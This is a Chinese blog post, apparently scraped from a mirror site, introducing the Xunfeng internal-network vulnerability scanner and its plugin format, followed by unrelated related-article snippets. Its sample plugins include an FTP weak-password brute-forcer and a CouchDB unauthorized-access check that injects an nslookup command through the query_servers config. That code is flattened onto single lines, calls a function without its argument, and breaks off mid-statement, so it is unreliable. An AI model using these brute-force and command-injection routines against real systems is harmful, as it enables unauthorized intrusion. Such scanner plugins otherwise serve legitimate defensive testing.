红队专题-开源漏扫-巡风xunfeng源码剖析与应用

在这里插入图片描述

开源漏扫-巡风xunfeng

  • 介绍
  • 主体两部分:网络资产识别引擎,漏洞检测引擎。
    • 代码赏析
    • 插件编写
      • JSON标示符
      • Python脚本
        • 此外系统内嵌了辅助验证功能
    • 文件结构
    • 功能 模块
      • 添加IP
    • 三. 进行扫描
  • 在这里插入图片描述 ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/de587a6f6f6947118cd695fa3fa30851.png)
    • 巡风源码剖析——源码解析
    • Win10部署和调试巡风
      • 安装 python 解释器:
      • python 依赖库
    • 使用pip安装 python 依赖库, 这里使用了豆瓣的 pypi 源。
      • 安装数据库
    • https://github.com/ysrc/xunfeng/blob/master/docs/install/Windows.md 安装指南 win
    • Ubuntu部署和调试巡风
  • docker安装
    • 2021.2.22

·

巡风
https://github.com/ysrc/xunfeng
http://x:8000/login
https://blog.csdn.net/hl1293348082/article/details/123865548
https://blog.csdn.net/weixin_42417767/article/details/102859978

介绍

巡风是一款适用于企业内网的漏洞快速应急,巡航扫描系统。
支持多平台安装,包括windows、linux、OSX、docker
在这里插入图片描述
1.查看内部网络资产分布
2.指定漏洞插件对搜索结果进行快速漏洞检测
3.并输出结果报表

下载传送门

主体两部分:网络资产识别引擎,漏洞检测引擎。

·
在这里插入图片描述

①网络资产识别:
通过用户配置的IP范围定期自动的进行端口探测(支持调用MASSCAN),
并进行指纹识别,识别内容包括:服务类型、组件容器、脚本语言、CMS。

②漏洞检测引擎
根据用户指定的任务规则进行定期或者一次性的漏洞检测,
其支持2种插件类型、标示符与脚本,均可通过web控制台进行添加。

资产扫描和漏洞扫描都是基于数据库中特定字段的改变,会有心跳线程monitor(),不断的去检查数据库中字段。用户在页面上的操作,都是先改变数据库内容而已。
所以比如开启某个漏扫任务,可能没法马上开始。

在这里插入图片描述

代码赏析

任务模块化,结构化的思维

项目比较完整

插件编写

漏洞插件支持2种类型,json标示与python脚本,
可以通过官方推送渠道安装或者自行添加。
在这里插入图片描述

JSON标示符

在这里插入图片描述

Python脚本

插件标准非常简洁,
只需通过 get_plugin_info 方法定义插件信息,check函数检测漏洞即可。
在这里插入图片描述

此外系统内嵌了辅助验证功能

在这里插入图片描述

使用例子:


import ftplibdef get_plugin_info():  # 插件描述信息plugin_info = {"name": "FTP弱口令","info": "导致敏感信息泄露,严重情况可导致服务器被入侵控制。","level": "高危","type": "弱口令","author": "wolf@YSRC","url": "","keyword": "server:ftp",  # 推荐搜索关键字}return plugin_infodef check(ip, port, timeout): # 漏洞检测代码user_list = ['ftp', 'www', 'admin', 'root', 'db', 'wwwroot', 'data', 'web']for user in user_list:for pass_ in PASSWORD_DIC:  # 密码字典无需定义,程序会自动为其赋值。pass_ = str(pass_.replace('{user}', user))try:ftp = ftplib.FTP()ftp.timeout = timeoutftp.connect(ip, port)ftp.login(user, pass_)if pass_ == '': pass_ = 'null'if user == 'ftp' and pass_ == 'ftp': return u"可匿名登录"return u"存在弱口令,账号:%s,密码:%s" % (user, pass_)  # 成功返回结果,内容显示在扫描结果页面。except:passimport urllib2import randomimport socketdef get_plugin_info():  # 插件描述信息plugin_info = {"name": "CouchDB未授权访问","info": "导致敏感信息泄露,攻击者可通过控制面板执行系统命令,导致服务器被入侵。","level": "高危","type": "未授权访问","author": "wolf@YSRC","url": "","keyword": "server:couchdb",  # 推荐搜索关键字}def get_ver_ip(ip):csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)csock.connect((ip, 80))(addr, port) = csock.getsockname()csock.close()return addrdef random_str(len):str1=""for i in range(len):str1+=(random.choice("ABCDEFGH1234567890"))return str(str1)def check(ip,port,timeout):rand_str = random_str(8)cmd = random_str(4)server_ip = get_ver_ip()req_list = [["/_config/query_servers/%s"%(cmd),'"nslookup %s %s>log"'%(rand_str,server_ip)],["/vultest123",''],["/vultest123/test",'{"_id":"safetest"}']]for req_info in req_list:try:request = urllib2.Request(url+req_info[0],req_info[1],timeout=timeout)request.get_method = lambda: 'PUT'urllib2.urlopen(request)except:passtry:req_exec = urllib2.Request(url + "/vultest123/_temp_view?limit=11",'{"language":"%s","map":""}'%(cmd))req_exec

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/731776.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ai写作一键生成文章速度快

ai写作是一种基于人工智能技术的自动写作工具,它可以根据用户提供的主题或关键词,快速一键生成文章。与传统的手动写作相比,ai写作的速度更快,效率更高。下面小编就带大家一起来见识下ai写作一键生成文章的速度是如何之快&#xf…

【CSP试题回顾】202012-1-期末预测之安全指数

CSP-202012-1-期末预测之安全指数 解题代码 #include <iostream> #include <algorithm> using namespace std;int n, sum;int main() {cin >> n;for (int i 0; i < n; i){int w, s;cin >> w >> s;sum w * s;}sum max(sum, 0);cout <&…

Electron-builder打包安装包——编译篇

突然有一天想打包个桌面程序&#xff0c;没有打包过&#xff0c;经过九牛二虎之力终于打包出来&#xff0c;在此感谢那些热于分享的前辈&#xff01; 本篇只讲打包运行和出现的问题 一、准备工作&#xff1a;提前下载相关资源包&#xff0c;否则在国内环境下可能因为网络问题…

ECharts 简要介绍及简单实例代码

ECharts 是一个使用 JavaScript 实现的开源可视化库&#xff0c;涵盖各行业图表&#xff0c;满足各种需求。 ECharts 提供了丰富的图表类型和交互能力&#xff0c;使用户能够通过简单的配置生成各种各样的图表&#xff0c;包括但不限于折线图、柱状图、散点图、饼图、雷达图、…

驾校避雷(不同地区情况不一样)

1-训练地点在哪&#xff0c;包车吗 2-学车一对一还是一对多&#xff0c;训练学时是多少(62) 3-驾校是否有自己的考场&#xff08;这里有坑&#xff0c;如果要去其他地方的话&#xff0c;小心产生的其他费用&#xff0c;问问是不是全包&#xff09; 4-费用是否包含考试费&#x…

Lwip之TCP服务端示例记录(1对多)

前言 实现多个客户端同时连接初步代码结构已经实现完成(通过轮训的方式) // // Created by shchl on 2024/3/8. // #if 1#include <string.h> #include "lwip/api.h" #include "FreeRTOS.h" #include "task.h" #include "usart.h&…

群辉docker安装sql server

安装步骤 开启群辉 SSH&#xff0c;通过 SSH 工具连接到群辉&#xff0c;运行下面的命令拉取mssql 2019 镜像 sudo docker pull mcr.microsoft.com/mssql/server:2019-latest然后在 docker 中就可以看到该镜像&#xff1a; 在群晖 docker 共享文件夹中创建 mssql2009 文件夹 …

Qt插件之输入法插件的构建和使用(二)

文章目录 主键盘搭建Google开源引擎音节分割工具类参考项目下载搭建好各个基础控件之后,就可以开发输入法的主界面和引擎了,这也是输入法的核心。 主键盘搭建 输入法的主界面本质上是一个QStackedWidget容器,将各个类型的输入键盘插入到容器中,然后根据业务需要切换不同的…

蓝桥杯刷题--python-19--归并排序,离散化,hash,逆序数

505. 火柴排队 - AcWing题库 nint(input()) alist(map(int,input().split())) blist(map(int,input().split())) mod99999997 # map c[0 for i in range (n1)] # 归并排序模板 def _MergeSort(arr,l,r,tmp): if l>r: return 0 # 分治思想 midlr>>1 # …

金现代产品方案部部长王宁,将出席“ISIG-低代码/零代码技术与应用发展峰会”

3月16日&#xff0c;第四届「ISIG中国产业智能大会」将在上海中庚聚龙酒店拉开序幕。本届大会由苏州市金融科技协会指导&#xff0c;企智未来科技&#xff08;LowCode低码时代、RPA中国、AIGC开放社区&#xff09;主办。大会旨在聚合每一位产业成员的力量&#xff0c;深入探索低…

生产管理MES系统在卫浴企业中的应用

在卫浴企业的制造过程中&#xff0c;实现透明车间管理是一个旨在提升效率、质量和可视性的重要目标。MES系统可以在卫浴企业中帮助打造透明车间&#xff0c;提升生产管理的效率和可视性。具体能实现哪些管理呢&#xff1f; 实时监控生产状态&#xff1a; MES系统可以实时监控车…

【C#杂谈】在 .NET Framework 中使用新的C#语言特性

前排提示&#xff1a;提出一个可以让 [^1] 这中语法可以在.NET Framework运行时中使用的方法 众所都周知&#xff0c;.NET Framework&#xff08;以下简称 .NF&#xff09;作为一个被微软官方确认不在继续发布新特性的运行时&#xff0c;它所对应的C#语言版本被&#xff08;官方…

RabbitMQ架构详解

文章目录 概述架构详解核心组件虚拟主机&#xff08;Virtual Host&#xff09;RabbitMQ 有几种广播类型 概述 RabbitMQ是⼀个高可用的消息中间件&#xff0c;支持多种协议和集群扩展。并且支持消息持久化和镜像队列&#xff0c;适用于对消息可靠性较高的场合 官网https://www.…

uniapp富文本编辑-editor-vue2-vue3-wangeditor

前言 除了“微信小程序”&#xff0c;其他小程序想要使用editor组件实现富文本编辑&#xff0c;很难vue3项目 官方组件editor&#xff0c;在初始化时有点麻烦&#xff0c;建议搭配第三方组件wangeditor 写在前面 - editor组件缺少editor-icon.css 内容另存为editor-icon.css…

Nginx反向代理详解

1. 什么是反向代理 反向代理是一种服务器代理的方式&#xff0c;它代理了客户端的请求并将请求转发给后端服务器&#xff0c;然后将后端服务器的响应返回给客户端。在这个过程中&#xff0c;客户端并不直接与后端服务器通信&#xff0c;而是通过反向代理服务器来实现请求转发和…

深入理解 Java 循环结构:while、do while、for 和 for-each 循环

Java 循环 循环可以执行一个代码块&#xff0c;只要达到指定的条件。循环很方便&#xff0c;因为它们节省时间&#xff0c;减少错误&#xff0c;并使代码更易读。 Java While 循环 while 循环会循环执行一个代码块&#xff0c;只要指定的条件为真&#xff1a; 语法 while …

整站下载保存为mhtml

整站下载保存为mhtml 代码 MHTML格式具有独特的优点&#xff0c;它可以完整保留原始网页的所有布局元素以及嵌入图片&#xff0c;无需外部依赖即可呈现原始网页内容&#xff0c;增强了可读性和便捷性。下文将展示如何运用自动化技术&#xff0c;从一个网站的首页出发&#xff0…

Spring Boot 部署在Windows

1、Spring Boot项目打成jar包。利用maven插件&#xff08;多模块项目只需在服务模块添加插件&#xff09; <build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId>…

服务器租用和托管的区别

目前对于服务器要求相对高的企业会希望使用独立服务器来运行自己的网站&#xff0c;而在选择独立服务器业务事&#xff0c;是使用服务器托管还是服务器租用这两种方法时&#xff0c;许多刚进入网络或者传统行业的从业者&#xff0c;都不太了解什么是服务器&#xff0c;现在我来…

数据推送解决方案调研

需求 文档编辑类型的需求&#xff0c;左侧是菜单栏&#xff0c;右侧是内容块&#xff0c;现在的需求时&#xff0c;如果多人同时编辑这个方案&#xff0c;当添加章节/调整章节顺序/删除章节时&#xff0c;其他用户能够及时感知到。 解决方案调研 前端轮询 最简单的方案&…